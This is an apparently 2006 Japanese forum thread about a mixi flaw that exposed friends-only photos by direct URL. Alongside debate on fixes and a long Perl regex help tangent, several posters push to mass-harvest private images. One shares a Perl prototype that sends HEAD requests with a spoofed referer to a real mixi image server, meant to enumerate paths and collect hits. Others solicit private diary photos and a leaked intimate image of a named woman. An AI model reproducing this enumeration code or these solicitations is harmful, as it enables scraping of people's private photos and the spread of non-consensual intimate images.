つまりうｐ写真をｺﾞﾆｮｺﾞﾆｮしちゃえば、
自由に○○○○できるわけねｗ

う〜ん、これURL叩かなければ表示されないんだし、
たいした問題じゃ無いよ。と、マジでいいたい。

たしかに、ログインされてなければ画像を表示しないようにも作れるけど
そんなのが標準扱いされたら、Web業界全体が、今後作るシステム全て
その仕様にしなければ突っ込まれる訳じゃん？

余計な仕事ふやすんじゃね〜〜よヽ(`Д´)ﾉ

ヽ(`Д´)ﾉ

株式会社ミクシィ

取締役 バタラ ケスマ
~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://mixi.jp/show_friend.pl?id=1

http://itpro.nikkeibp.co.jp/article/NEWS/20060330/233820/

「mixi」を運営するミクシィのBatara Kesuma（バタラ・ケスマ）取締役最高技術責任者（CTO）が，
増え続ける膨大なトラフィックにどのように対処してきたのかについて講演した。
カギとなるのは「データベース分割」である。

　mixiのシステムはもともとBatara氏が1人で作り上げたものだ。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2003年当時，米国でFriendsterなどのSNSがはやっており，同氏が会社（現在のミクシィ，当時はイー・マーキュリー）に
SNSを作りたいと提案したところ認められたという。同氏が開発を始めたのは2003年12月。
3 カ月でコーディングし，2004年2月にサービスを開始した。
~~~~~~~~~~~~~~~~~~~~~~~~

(´σ；｀)ﾉ

誰か直してやってmixiにプログラム売ればいいじゃん

はわわ

「mixiの画像ファイルは1日に23Gバイトずつ増える」---バタラ・ケスマCTO
http://itpro.nikkeibp.co.jp/article/NEWS/20060823/246263/

　日本最大のソーシャル・ネットワーキング・サービス（SNS）「mixi」を運営するミクシィのバタラ・ケスマCTO（最高技術責任者）は
8月23日，都内で講演し，mixi内の画像ファイルは合計で9Tバイトを超えていると説明した。
さらに「1日に23Gバイトくらい増えている」（バタラCTO）という。

バタラCTOによるとmixi内の画像ファイルは2種類に分かれる。つまり，(1)プロフィールの写真やコミュニティの
ロゴのように頻繁にアクセスされる画像と，(2)日記やアルバムの写真のようにアクセス頻度の少ないものだ。
(1)はファイル数が少なく，サイズも合計で数百Gバイトしかないのに対し，(2)はファイル数が多く，
合計で数Tバイトに及ぶという特徴がある。

　そこでmixiは(1)の画像ファイルに対しては「キャッシュのヒット率が非常に良いので普通に
キャッシュすれば良い」（バタラCTO）という方針を取る。キャッシュ・サーバー「Squid」や外部の
CDN（Contents Distribution Network）サービスを使って，画像ファイルを配信しているという。

　一方，(2)の画像ファイルはキャッシュのヒット率が悪いため，通常のストレージに配置している。

>>277
mixiはそんなに複雑なものではないから、
一人で三ヶ月って余裕だろう。

>>212
静止噴出しそうになった

>>277
ちょっと複雑な掲示板でしかないよな
複雑っていうより表示項目が多くてめんどくさい掲示板って方が的確か？

日本のWeb関連で一番技術力あるのはやっぱりはてなだよ。
あそこのプログラマーはすごい。

>>272
漏れ応募2社目で即面接3回だった
ちなみに文系だけど

こりゃ設計自体が失敗か

>>275
> たしかに、ログインされてなければ画像を表示しないようにも作れるけど
> そんなのが標準扱いされたら、Web業界全体が、今後作るシステム全て

普通にそう作るのが常識だよ。イントラのシステムとか。
外のサイトではまああまり見かけないけど、ECサイトとかだと画像を隠す必要がないからね。
SNSとかで初めて問題になるわけで。

pic.toとか小規模だけど、ブルートフォース掛けて負荷増えて規制掛かったんじゃないか
今後無駄なトラフィックが増えそ

日記の画像なら日記エントリ1つにつき52*256回程アタック掛ければ見つかりそう

mixi画像一覧サイトの誕生に期待！

>>290
単純な計算式で求まるんじゃ？
前にソースが流出してなかった？

>>292
ソースまだどっかで手に入らないものかね．
計算式分かればさくっと画像一覧くらい作れるのに．

普通にバイナリをＤＢに放りこんで専用のフロントエンドで読み出せば済むことやん。
こんなん、ちょっと詳しい個人レベルのサイトでも出来ること。

まあわざわざＤＢに入れなくてもドキュメントルート以下に置かなければ言い話しやね。
しかしまあ、こんだけ稼いでる（と思われる）サイトがこんな事もできひんとは信じられんなぁ。

目的のファイルをオープンして、それをストリームで流すなんて余裕だがなぁ。

あと

＞システムの改修にて試みましたが、いくつかのプラットフォームにおいてログインができなくなった

とかあるけど、そもそもその辺のセッションとは無関係。
なんか、アホらしなってくるわ。

>>297
>>1 の続きを最後まで読んだほうがいいぞ。
そういう問題じゃないから。

>>298
いや、続きも読んだけどそういう問題以外に考えられないよ。

cookieの問題なんだよ。

リファラがmixi.jp以外をはじくだけでもずいぶん違うと思うけど
そんなことすらできないの？

http://hamachiya.com/junk/mixilog.html

足跡が付かなくなるソフト

>>301
そんなのじゃ防げないよ。

何万人も会員がいるなら、会員制じゃなくていいじゃん

上場しといて技術者もいないとわはな

上場しといて技術者もいないとはな

>>303
完全に防げなくても無制限に閲覧可能状態よりはマシなんじゃね？

馬鹿共の集まりだな

>>300
ログインセッションの問題と画像が無制限に見える見えないの問題は
全く別物だからcookieは関係ないと思うよ。

>>301
そうそう、そういった手法でも一つの対策にはなる。mixi側の説明は
まったくエンジニアレベルでの話ではないよ。

「システムの改修にて試みましたが、いくつかのプラットフォームにおいてログインができなくなった」

いくつかのプラットフォームなんて無視すればいいだろ
垢BANしてるくらいなんだから，ちょっとくらい見放せよ

おいおい、画像をドキュメントルート以上にもあげられないのかよｗ
それくらいもできないの？ﾌﾟ
ググってもそれくらいのやり方は出てくるだろ。
あとは使ってる認証を間に入れれば良いだけじゃん。
わかってはいたけど、かなり素人レベルに近いなﾀﾞｾｰ。

>>310
それがWindows + IEの場合でも言ってられるかなｗ

今のmixiの画像表示は次のような形になってるやん。

http://mixi.jp/show_picture.pl?img_src=http://ic**.mixi.jp/photo/diary/**/**/**.jpg

この「http://mixi.jp/show_picture.pl」が画像表示用プログラム。
これ自体にはログインしていないとアクセスできないし、そこまでは良い。

で、本来ならこのプログラムに個別のシリアルなりそういったパラメータを渡せば
良いものを、単純に「http://icxx.mixi.jp/photo/diary/xx/xx/xxx.jpg」という
URLを渡している。ここがおかしい。このフロントエンドは単なるリダイレクタ（ime.nuと一緒）
こんなん、本当に「index.htmlを入れ忘れたからディレクトリリストが丸見えになった」
とかと全く同レベル。

cookieがどうのとかログインが出来なくなるとか、そんな事とは全くベクトルの違う話。
普通のSEならすぐわかる事ですやん。

崩壊。

とりあえず友人にまでしか公開してない日記の画像うｐしてくれ

>>312
いくつかのプラットフォームってWin+IEのことか
いくつかじゃないじゃん

>>311の意見って
ドキュメントルートより上のフォルダに画像置いて
Perlスクリプトから画像ファイル読み込んで
Content-typeでイメージ出力 であってるかな？

負荷がかかりそうだけどプライバシー守るためには必要だよな

>>316
画像を置いてる鯖が…
ttp://mxxi.hamachiya.com/2006/07/mixi_9.html

>>316
ドキュメントルートより上に画像を置くのも一つの手法だけども
こんだけの大規模サイトなら画像のバイナリそのものをＤＢに入れますよ。
オラクルとか、その方が早いし安全だし　それぐらいの金はあるんちゃうかな。

画像保存してる鯖側をいじればなんとかなるんじゃないの？

>>315
つhttp://ic14.mixi.jp/photo/album/6/33/90633_973386896.jpg

>>320
へー、ほんとだ
見れるんだ

>>313
これって、画像を置いてるウェブサーバー側でmixi本体サーバーIP以外を弾けば終りじゃないの？

>>322
そう、それだけでも対策になるのにね。

よくわかんないが、結局は解決してないのね？

>>316
いや、そういう意味じゃなくて。
仮に圧倒的大多数が「いくつか」の中に含まれていても
「ちょっとぐらい見放せ」と言えるかという意味で書いたの

>>318
そらそうだな
MySQLでもいいんじゃないか．
安上がりだし，強力な鯖使ってるみたいだし．
MySQLの脆弱性については良く知らないけど
mixiの技術者の脆弱性よりはマシだろ

いずれにしろ
自社だけの問題なのに
インターネットの構造上の問題のごとき言い方をしているのは
100％言い訳。
ミクシー氏ね。

>>326
俺、一応はmixiみたいな会員制のサイトをいくつも作ったんやけど
（ただし会員数は全て合わせてもmixiの1/10にも満たないがｗ）
そのレベルでも会員からアップされた画像はＤＢに入れてるよ。Postgresやけどね。
まあ、俺の作ったシステムの方がmixiよりは堅牢っちゅうわけやね。

>>328
mixiに転職してやれｗｗｗ
ネカマ対策に時間とられるかもしれんが

ＤＢに入れる方法だと、肥大化しレスポンスが悪くなるんじゃね？

DBに入れるのが理想だけど作り方を見る限り、
多分やりかた知らないんじゃない？
だからとりあえずperl経由でログイン情報なりを利用して
セッション作って表示するべき相手に出力させればいいのに。

そもそも一部のプラットホームでって･･･
サーバーサイドでできることいっぱいあるじゃん。
もしかしてjavascriptとかでやろうとかアホな事を考えてる？

ああ、バグって夢を食べるっていうあの動物！

これってリライト入れるだけでどうとでもなるような

>>330
複合検索する訳ではないので大丈夫。

無能な技術者に知恵与えんでもｗ

叩かれるほうもITに関して低脳だが、叩くほうも>>56みたいな低脳ばっかだな

脆弱だの言っても結局目立った奴が金持ちになる現実｡･ﾟ･(ﾉД`)･ﾟ･｡

もういっそHTMLやめて専用プロトコル専用クライアントにしたらw

つうか、mixiのサーバー・プログラム系コミュの奴らは何してんの？

mixi関連のスレでも技術系になると全く伸びないな

プログラム（PERL)において　頭のいい皆様にお聞きしたいことがあります


$site = '(?:pita.st|imepita.jp|pic.to|p.pita.st|www.pornotube.com|www.youtube.com|www.yourfilehost.com)'; # 拾いたいサイト列挙

while ($data =~ m/(h?ttp:\/\/(?:[\w\/\.\?\=]*$site\/[\w\/\.\?\=]*|[\w\/\.\?\=]*\.$ext[\w\/\.\?\=]*))/g) {
$output = $1;
}

で$dataの中に↓が入っていた場合、
http://www.yourfilehost.com/media.php?cat=video&file=06320809_selfjob.wmv


$outputに　出力されるとき↓となってしまい、&以降が切れてしまいます。
&以降も残すにはどうすればいいのでしょうか？

http://www.yourfilehost.com/media.php?cat=video

while ($data =~ m/(h?ttp:\/\/(?:[\w\/\.\?\=\&]*$site\/[\w\/\.\?\=\&]*|[\w\/\.\?\=\&]*\.$ext[\w\/\.\?\=\&]*))/g) {
$output = $1;
print "$1\n";
}

こんでいいんじゃまいか

余分なのが入ってた。
ただしくはこちら
while ($data =~ m/(h?ttp:\/\/(?:[\w\/\.\?\=\&]*$site\/[\w\/\.\?\=\&]*|[\w\/\.\?\=\&]*\.$ext[\w\/\.\?\=\&]*))/g) {
$output = $1;
}

上場して金あるんなら
アプリケーションファイアウォールくらい入れろよ･･･

>>343
神！
ありがとう。もう１つだけ聞いていい？？

>>345
まあ、わかる範囲であればｗ

Perlスレ決定ｗ

これの方が短くできないか

while ($data =~ m/(h?ttp:\/\/(?:[\w\/\.\?\=\&]*$site\/[\w\/\.\?\=\&]*(\.$ext[\w\/\.\?\=\&]*)?))/g) {
　　　$output = $1;
}

>>348
天才

>>346
ありがとう＾＾　これまで教えてちょ

if($in{'mms'} eq "yes"){ }

$site = '(?:pita.st|imepita.jp|pic.to|p.pita.st|www.pornotube.com|www.youtube.com|www.yourfilehost.com)'; # 拾いたいサイト列挙

while ($data=~ m/(h?ttp:\/\/(?:[\w\/\.\?\=\&]*$site\/[\w\/\.\?\=\&]*|[\w\/\.\?\=\&]*\.$ext[\w\/\.\?\=\&]*))/g) {
$output = $1;
}


ライブ動画の mms://***.***.***.***.:****
　　　　　　　　　　　　　　　↑ip　　　　　　　　↑ポート番号


もし　$in{'mms'} がyesだったときに　$dataに入っているそのアドレスを$outputに入れるにはどうすればいいですか？

>>348
すごい！皆尊敬するよ！
正規表現むずかしすぎるよー>_<



>>350のIPのところはipに限らず　:　コロンとの間のものも全て拾ってきたいの>_<

>>350
ちょっとまってや！
今だいぶ飲んでるんで意味を理解するのに数分必要ｗｗ

>>352
そんな中、考えてくれてありがとう T_T

Perlってよりも性器表現スレ

>>350

＞もし　$in{'mms'} がyesだったときに　$dataに入っているそのアドレスを$outputに入れるにはどうすればいいですか？

だけを考えたんなら

$site = '(?:pita.st|imepita.jp|pic.to|p.pita.st|www.pornotube.com|www.youtube.com|www.yourfilehost.com)';

if($in{'mms'} eq "yes")
{
while ($data=~ m/(h?ttp:\/\/(?:[\w\/\.\?\=\&]*$site\/[\w\/\.\?\=\&]*|[\w\/\.\?\=\&]*\.$ext[\w\/\.\?\=\&]*))/g) {
$output = $1;
}
}

でいいと思うんやけど・・・　ちょっと意味の理解に苦しんでいる俺ｗ

あ、違うわ

>>355
ごめんね、自分の表現の仕方がおかしかった＾＾；
$in{'mms'} がyesだったときに　$dataに入っている「　下記　」のアドレスを$outputに入れるにはどうすればいいですか？

ライブ動画の mms://***.***.***.***.:****
　　　　　　　　　　　　　　　　　　　　　　　　　↑ポート番号



上のほうの記述だと　http系にしか対応してないんです＾＾；

ポート番号の：　コロン以降も拾わないですし

>>341を１から作ってみたがこれはどうだろう

$scheme="h?ttp";
$host="[\w\.]*(?:pita.st|imepita.jp|pic.to|p.pita.st|www.pornotube.com|www.youtube.com|www.yourfilehost.com)";
$pass="(\.*)?";

while ($data =~ m/($schme:\/\/$host\/$pass)/g) {
$output = $1;
}

$passはこれで十分じゃね

ちなみにライブ動画は　mmsだけでなく　httpになる場合もあるので　その場合は　httpをmmsに置き換えたいです

>>358は間違えた

$scheme="h?ttp";
$host="(?:([\w\.]*)?(pita.st|imepita.jp|pic.to|pornotube.com|youtube.com|yourfilehost.com))";
$pass="(.*)?";

while ($data =~ m/($schme:\/\/$host\/$pass)/g) {
　　　$output = $1;
}

>>358
すごいですね>_<

>>341の形のまま　上に書いた条件を入れることは出来ないでしょうか


すみません、　$in{'mms'} がyesだったとき　という条件ではなく

　ttp://**.***.***.***:***
や
　http://**.***.***.***:***
や
　mms://**.***.***.***:***　というように

mms://か　ttp://で　始まって　:（コロン）もあったら　コロンのあとのポート番号まで　
抽出したものを、いずれにせよ　mms://　の形式に置換して$output　にいれてほしいです

passっていうか、pathが正しいと思うけど。

360氏ほど凄くないけど、これでmmsも拾えるよ。

while ($data=~ m/((mms|h?ttp):\/\/(?:[\w\/\.\?\=\&\:]*$site\/[\w\/\.\?\=\&\:]*|[\w\/\.\?\=\&\:]*\.$ext[\w\/\.\?\=\#:]*))/g) {
$output = $1;
}

>>363
ありがとう

テストしてみるね

mms://328.324.2.32:8080

　

>>363
うーん　抽出できてないみたいです＾＾；

>>362
そうですね，すいません

>>361
こんな感じかな
動かなかったらすまん

$scheme="(h?ttp|mms)"; //スキーム
$host1="(?:([\w\.]*)(pita.st|imepita.jp|pic.to|pornotube.com|youtube.com|yourfilehost.com|))"; //ホスト名
$host2="([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})(:[0-9]{1-4})?"; //IPとポート
$host="($host1|$host2)"; //ホストまたはIP
$path="(.*)?"; //パス

while ($data =~ m/($scheme:\/\/$host\/$path)/g) {
　　　$output = $1;
}

そんなのより、mixi画像一覧ページ作ってよ

while ($data=~ m/((mms|h?ttp):\/\/(?:[\w\/\.\?\=\&\:]*$site\/[\w\/\.\?\=\&\:]*|[\w\/\.\?\=\&\:]*\.$ext[\w\/\.\?\=\#:]*))/g) {
$output = $1;
}


$dataの中に　mms://328.324.2.32:8080　が入ってても

$outputに入らないのは何ででしょうか？

>>367
また間違えた
動いてくれ

$scheme="(h?ttp|mms)"; //スキーム
$host1="(?:([\w\.]*)(pita.st|imepita.jp|pic.to|pornotube.com|youtube.com|yourfilehost.com|))"; //ホスト名
$host2="([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})(:[0-9]{1,4})?"; //IPとポート
$host="($host1|$host2)"; //ホストまたはIP
$path="(.*)?"; //パス

while ($data =~ m/($scheme:\/\/$host\/$path)/g) {
$output = $1;
}

そもそもperlの質問じゃねえし
正規表現表買えよって話しだ
つーか、ここまで正規表現わからず
人に聞きまくるなら
ツール使えよ馬鹿って感じ

えっと、その $data 自身はどんな中身？

てめえら、すごいな。

>.372
$data="<br> ありがとう <br> <br> テストしてみるね <br> <br> mms://328.324.2.32:8080 <br><br>";

ってなかんじです

後のmixi動画共有機能の誕生であった…

>>374
なるほど…
そのあたりになってくるとさすがの酔っぱらいにもスレ違いの気がしてきた…

なんで>>363の書き方で抽出出来ないのかが分からないよ・・・orz

$data="<br> ありがとう <br> <br> テストしてみるね <br> <br> mms://328.324.2.32:8080 <br><br>";

$scheme="(h?ttp|mms)";
$host1="(?:([\w\.]*)(pita.st|imepita.jp|pic.to|pornotube.com|youtube.com|yourfilehost.com|))";
$host2="([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})(:[0-9]{1,4})?";
$host="($host1|$host2)";
$path="(.*)?";

while ($data =~ m/($scheme:\/\/$host2(\/)?$path)/g) {
$output = $1;
}

print $output;


↑の実行結果　→　mms://328.324.2.32:8080 <br><br>

<br><br>も含まれちゃったけどもう少し

>>378さん

>>363の書き方で出来ませんか？？？

>>379
やってみる
ちょっと待ってて

>>379 さん
>>363 の書き方に少々おかしな所がありました。
正しくは
while ($data=~ m/((mms|h?ttp):\/\/(?:[\w\/\.\?\=\&\:]*$site\/[\w\/\.\?\=\&\:]*|[\w\/\.\?\=\&\:]*\.$ext[\w\/\.\?\=\:]*))/g) {
$output = $1;
}
ですわ。

>>379
いいかげんにしろ
カス

プログラムの勉強なら自分で本買って読んで考えろ

ダウンロードしたいだけならベクターでも行ってツール落としてこい

つーか
死ね

>>379
出来てます


$data="<br> ありがとう <br> <br> テストしてみるね <br> <br> mms://328.324.2.32:8080 <br><br>";

while ($data=~ m/((mms|h?ttp):\/\/(?:[\w\/\.\?\=\&\:]*$site\/[\w\/\.\?\=\&\:]*|[\w\/\.\?\=\&\:]*\.$ext[\w\/\.\?\=\#:]*))/g) {
$output = $1;
}

print $output;




実行結果　→　mms://328.324.2.32:8080

あれ？
>>383さんて最初に質問していた人とは違うんですか？？
なんか酔っぱらいですんません。

>>381　>>383
こちらでは出来ないっぽいです。
なんでだろう＾＾；

>>383
いや違うな
$siteをソースに含めるのを忘れた

>>386

$site = '(?:pita.st|imepita.jp|pic.to|p.pita.st|www.pornotube.com|www.youtube.com|www.yourfilehost.com)'; # 拾いたいサイト列挙

while ($data=~ m/((mms|h?ttp):\/\/(?:[\w\/\.\?\=\&\:]*$site\/[\w\/\.\?\=\&\:]*|[\w\/\.\?\=\&\:]*\.$ext[\w\/\.\?\=\:]*))/g) {
$output = $1
}
で

$data="<br> ありがとう <br> <br> テストしてみるね <br> <br> mms://328.324.2.32:8080 <br><br>";


でも
mms://328.324.2.32:8080 　が　$outputに入りません>_<;

>>247
ハイパーリンク貼るだけなら全く問題ないよ

>>387


## ソース（start）

$site = '(?:pita.st|imepita.jp|pic.to|p.pita.st|www.pornotube.com|www.youtube.com|www.yourfilehost.com)'; # 拾いたいサイト列挙
$data="<br> ありがとう <br> <br> テストしてみるね <br> <br> mms://328.324.2.32:8080 <br><br>";

while ($data=~ m/((mms|h?ttp):\/\/(?:[\w\/\.\?\=\&\:]*$site\/[\w\/\.\?\=\&\:]*|[\w\/\.\?\=\&\:]*\.$ext[\w\/\.\?\=\:]*))/g) {
$output = $1
}

print $output;

## ソース（end）


実行結果　→　mms://328.324.2.32:8080

出来てるよ

>>389
なんでだろー。
ちょっと、もうちょっと見てみますね

いまさらだけど
schemeじゃなくてprotocolだと思うんだ

>>391
俺が使ってる本だとスキームって書いてあるんでschemeにしてみました

>>392
もしかして

while ($data=~ m/((mms|h?ttp):\/\/(?:[\w\/\.\?\=\&\:]*$site\/[\w\/\.\?\=\&\:]*|[\w\/\.\?\=\&\:]*\.$ext[\w\/\.\?\=\:]*))/g) {

}

の式だと　$siteのリストに入っている該当アドレスが引っかかったら

もしくは

$ext　の拡張子が入っていたら　抽出するという条件式ですよね？

mms://328.324.2.32:8080 　だったら　どちらにもひっかからないのでは？？

httpのpはプロトコル
mmsのsはスキーム
ってことか

Perlｵﾜﾀ＼(^o^)／

俺はなんか最初から物凄い勘違いをしていた気がしないでもない。
しかし、だいぶ飲んでるのでこれ以上考えるのは限界や。おやすみなさい。

>>393
あー，そうなるね
>>389のソースだと$extは空のままだから実行できたのかな

>>396
ありがとうございました。
そして　おやすみー

http://captain.jikkyo.org/cat/s/1161212968545.jpg
http://captain.jikkyo.org/cat/s/1161212850009.jpg
http://captain.jikkyo.org/cat/s/1161212734460.jpg
http://captain.jikkyo.org/cat/s/1161212649031.jpg
http://captain.jikkyo.org/cat/s/1161212508795.jpg
http://captain.jikkyo.org/cat/s/1161212452368.jpg
http://captain.jikkyo.org/cat/s/1161212360583.jpg
http://captain.jikkyo.org/cat/s/1161212309014.jpg
http://captain.jikkyo.org/cat/s/1161212231712.jpg

>>397
そうかもしれないですね。
ということは　さらに　orの条件で　mms://から始まって:以降のポート番号も　含むまでの

というのを入れるんですか？

>>400
そうだね

ってか拡張子は必要なの？

>>401
うんうん
必要です

if(($in{'type'}) eq "archive"){
$ext = '(?:zip|lzh|exe|rar|sit)';
$SEARCHTYPE="アーカイブ";
｝

ってかんじではいってますよー

>>402
ちょいと改良した


## ソース（start）

$site = '(?:pita.st|imepita.jp|pic.to|p.pita.st|www.pornotube.com|www.youtube.com|www.yourfilehost.com)'; # 拾いたいサイト列挙
$data="<br> ありがとう <br> <br> テストしてみるね <br> <br> mms://328.324.2.32:8080 <br><br>";
$ext="(?:zip|lzh|exe|rar|sit)";

while ($data=~ m/((mms|h?ttp):\/\/(?:[\w\/\.\?\=\&\:]*($site)?(\/)?([\w\/\.\?\=\&\:]*|[\w\/\.\?\=\&\:]*\.$ext[\w\/\.\?\=\:]*)))/g) {
$output = $1;
}

print $output;

## ソース（end）


実行結果　→　mms://328.324.2.32:8080

これでどうだ？

>>403
すごい！！
出来てるよー
プロだねー＾＾　ありがとうございました

>>404
そうか，よかったな
言っておくが俺はプロではない
ただのニートだ

>>405
なんで、それでニートなん？
ニートレーダー？

>>405
ねね

mms://から始まるっていうふうに指定するんじゃなくて

http://から始まっても　：（ポート番号）があったら
それも抽出って出きる？？

クローラー使って消し忘れみたいな楽しみ方出来そうだな

>>407
自分で試してから質問しろ，ボケナス
$dataを変えればいいだけだろ

http://328.324.2.32:8080

そうだ！仕様の所為にしよう！

なにperl講座スレになってんの

>>409
すみません。
出来ました・・・

http://124.97.123.95:7145　みたいに

***://アドレス:ポート番号

だった場合は

mms://124.97.123.95:7145 に置き換えるにはどうすればいいですか？

htpassでブロックすればかんたんだよ＾＾

>>414
ばかも〜〜〜〜〜〜〜〜〜ん
プログラムって奴はな，プログラムって奴はな，自分で試行錯誤して上達するもんだ
精進しろよ

ヒント ： s/

そんなバグを放置しておきながらよくも実名登録推奨なんかしてたな。

>>416
自分ではこうしてみました

if($output=~ m/((mms|http):\/\/(?:[\w\/\.\?\=\&\:])){$output =~ s/http/mms/}

>>418
m/ は いらねーだろ

if($output=~ /(http:\/\/(?:[\w\/\.\?\=\&\:])){$output =~ s/http/mms/}

これでエラーが出ちゃう

>>420
その正規表現だと

http://http.jp/ を mmc://mmc.jp にしてしまうぞ

>>421
試行錯誤してはいるんですが＾＾；

if($output=~ /(http:\/\/(?:[\w\/\.\?\=\&\:])){$output =~ s/http\:\/\//mms\:\/\//}

$output="http://192.168.1.1:8080";

$output=~s/^http:\/\/([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})(:[0-9]{1,4})?/mms:\/\/$1$2/;

print $output;



実行結果　→　mms://192.168.1.1:8080

>>421

　ちなみにさきほどの書き方だとhttp://ex13.2ch.net/test/read.cgi/ranking/1145093485/80　も抽出してしまいます・・・

>>424
if文使わなくても書けるなんて！！なんてスマートな書き方なんですか・・・

>>426
何作ってんの？
さっきのURLの羅列見ると２ｃｈ用に見えなくもないが

>>427
実況板のスレッドとかに張り出されたアドレスだけを抽出したいんです

>>428
ほう，じゃあIPアドレスのマッチングはグーグル検索のアドレス用か
何のために作ってんの？
何かWEBサイトやるの？

while($data~ m/((mms|h?ttp):\/\/(?:[\w\/\.\?\=\-\&\:]*($site)?(\/)?([\w\/\.\?\-\=\&\:]*|[\w\/\.\?\=\-\&\:]*\.$ext[\w\/\.\?\=\-\:]*)))/g) {
$output = $1;
}

だと　どのようなアドレスでも抽出して$1に入れてしまいます。

mms://アドレス；ポート番号　←や
http://アドレス；ポート番号　←や
ttp://アドレス；ポート番号　←や

$siteに含まれてるサイト先　や
$extに含まれてる拡張子が　あるときだけ　$outputには入れられないのですね

>>429
寝てるときにPDA使って無線LANで実況放送見て遊んでるんですけど
毎回、放送アドレス抽出するのが大変なんです

>>430

>どのようなアドレスでも抽出して$1に入れてしまいます

↑そりゃそうだ．そういう風に作ってるからな


>$siteに含まれてるサイト先　や
>$extに含まれてる拡張子が　あるときだけ　$outputには入れられないのですね

↑できるよ，自分で考えろ．ってか最初から言えよ

>>431
工エｴェｪ（´д｀）ｪェｴエ工工
俺はお前の個人的楽しみのために協力してきたのか・・・
もう，勝手にやれよ

見事にスレ違いだろ

ありがとうございました　１から勉強します

>>435
最初から自分で勉強しろよ！！！！！！！！！
氏ね，チンカス野郎！！！！！！！！！！

ミクシのPERLスレにカキコしてきます
ニヤニヤｗｗｗｗ

ｸｿﾜﾛﾀ

>>438
お前が笑ってくれたのがせめてもの救いだ

正規表現って楽しいよな
ちゃっとヒットするようになるのが

なあに人助けだと思うんだ

>>441
助けてやっても>>437みたいなレスするんだぞ｡･ﾟ･(ﾉД`)･ﾟ･｡
ただでさえmixi嫌いなのに・・・
俺もネカマやろうかな

ニュー速のやさしさは異常

優しいかどうか知らんがスレ違いなんだよクズども

うるせーばーか

はわわ〜

んああああああああああ
誰かmixiのperlコミュに行って荒らして来てくれ〜

>>442
心配いらんよ。レス見てりゃこのシトの程度がわかる。

>>447
mixi画像一覧表示スクリプト作れば気分も晴れる

そうそう
思い知らせてやるんだ

>>449
お前そうとう見たいみたいだなｗｗｗ

ひねり潰すぞクソ虫ども

ってかただURL育成すればいいわけだ。

>>453
URL育成？

生成だった。
すまんエヴァにしてしまって。

なんか、お前らすごいな。
２ｃｈやってないで、コンピューター関係の仕事した方が儲かるんじゃないか？

なんだこりゃ
ヲタの自己満足オナニー状態で上場してたんだ

ユーザー「いいから直せ」

けけけ

上場企業にあるまじきﾍﾀﾚっぷり

職探しサイトを運営してるmixiが優秀な人間を雇えないってｗ

これはひどいｗ

>>451
あなたの手腕でぜひ

>>461
確かにｗ

スレ全部呼んだ。

友達まで日記の画像とかも流出するのかw

ダメ、絶対ダメ！！！！！
アホかw
お前らになんか見せられるかwwww

性器表現の痴漢はマ板へ

>>464
mixi側は「どうぞ誰でも自由に見てください」と言ってるわけだけどね。
「友達限定の日記の画像は友達にしか見られない」と勘違いしてる会員がバカなんだってｗ

■セブンドリーム おもちゃ・ゲーム デイリーランキング

DOAX2がポケモン超えたぜｗｗｗ
セブンドリームを普通の通販だと思ってDOAX2を注文した奴は絶対に居るだろうｗ
セブンイレブンの女子高生バイトにmixiあたりで「ｷﾓｗ」とか書かれて祭りという展開に期待ｗ

1. セガ　オシャレ魔女ラブandベリー DSコレクション
2. スクウェア・エニックス　ファイナルファンタジーVI アドバンス【発売日AM7:00受取り可能】
3. 株式会社ポケモン　ポケットモンスター ダイヤモンド【特典無し】
4. テクモ　DEAD OR ALIVE Xtreme2
5. 株式会社ポケモン　ポケットモンスター パール【特典無し】
6. マイクロソフト　ブルードラゴン 【初回特典付】
7. セガ　龍が如く2【予約特典付】
8. スクウェア・エニックス　ファイナルファンタジーV アドバンス
9. バンダイナムコ　テイルズ オブ デスティニー【予約特典付】
10. バンダイナムコ　テイルズ オブ ザ ワールド レディアントマイソロジー【予約特典付】

>>466
オレが馬鹿かw
馬鹿なのかwww

流出したらエライコッチャw

>>468
なんかヤバイものがあるらしいですよ
スクリプターさん、早く早く！

http://mixi.jp/~1/

↑こんなアドレスでディレクトリインデックス表示されたりしないかな

はやく友人公開にしてる奴の日記画像を直リンで貼ってくれよ

相変わらずスラドクオリティだなｗ
スレの質がニュー速とあんまり変わらないｗｗ

ミクシーから流出した
徳島県警のＭさんのＭ字開脚の画像
2ちゃんに張り付けてあるらしいんだけど
どこかわからないから
教えて下さい

>>470

>>205 の規則がもう少し絞り込めれば、スクリプトも作れそうだね。
連番で探っていくにはまだ桁が多すぎるかも。

これは出来るだろっと思って考えてみたけど簡単なようで難しいかも
俺じゃ無理っぽ

# Perlでヘッダ部分だけ取得するプロトタイプを作ってみた。
# $refererはこれで良いんだよね？
# あとは$hostと$pathを自動生成して、200を返すのを総浚いするだけ。
#------------------------------------------------------------------
use strict;
use Socket;
my $host = 'ic46.mixi.jp';
my $path = '/photo/diary/13/12/224241312_245.jpg';
my $referer = 'http://mixi.jp/show_picture.pl';
my $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)';
my $port = getservbyname('http', 'tcp');
my $iaddr = inet_aton($host);
my $sock_addr = pack_sockaddr_in($port, $iaddr);
socket(SOCKET, PF_INET, SOCK_STREAM, 0) || die "ソケットを生成できません。\n";
connect(SOCKET, $sock_addr) || die "$host のポート $portに接続できません。\n";
select(SOCKET); $|=1; select(STDOUT);
print SOCKET "HEAD $path HTTP/1.0\r\n";
print SOCKET "Host: $host\r\n";
print SOCKET "Referer: $referer\r\n";
print SOCKET "User-Agent: $useragent\r\n";
print SOCKET "Conection: close\r\n";
print SOCKET "\r\n";
while (<SOCKET>){
print $_;
}
close(SOCKET);

>>474
mixiがそんな複雑な番号付けしてるとも思えないな
mixi潜入組が番号の規則性を発見してくれればなあ

mixiで公開されてるエロ画像うｐしる

>>476
ローカルで実験した
完璧

>>476
LWP使ったら簡単じゃない？
って効率悪いのかな。
REFERERはなくても直リンでいけるみたい。(だから問題になってるのかも)

早速やってるのかｗ

画像を出力するスクリプト作っちゃうと
著作権がどうたらこうたらで訴えられそうだから
リンク出力するだけのスクリプトでいいだろうな

mixiはこう生まれ変わりました

-- 女性会員 --
メッセージ閲覧　　　0pt
メッセージ送信　　　0pt
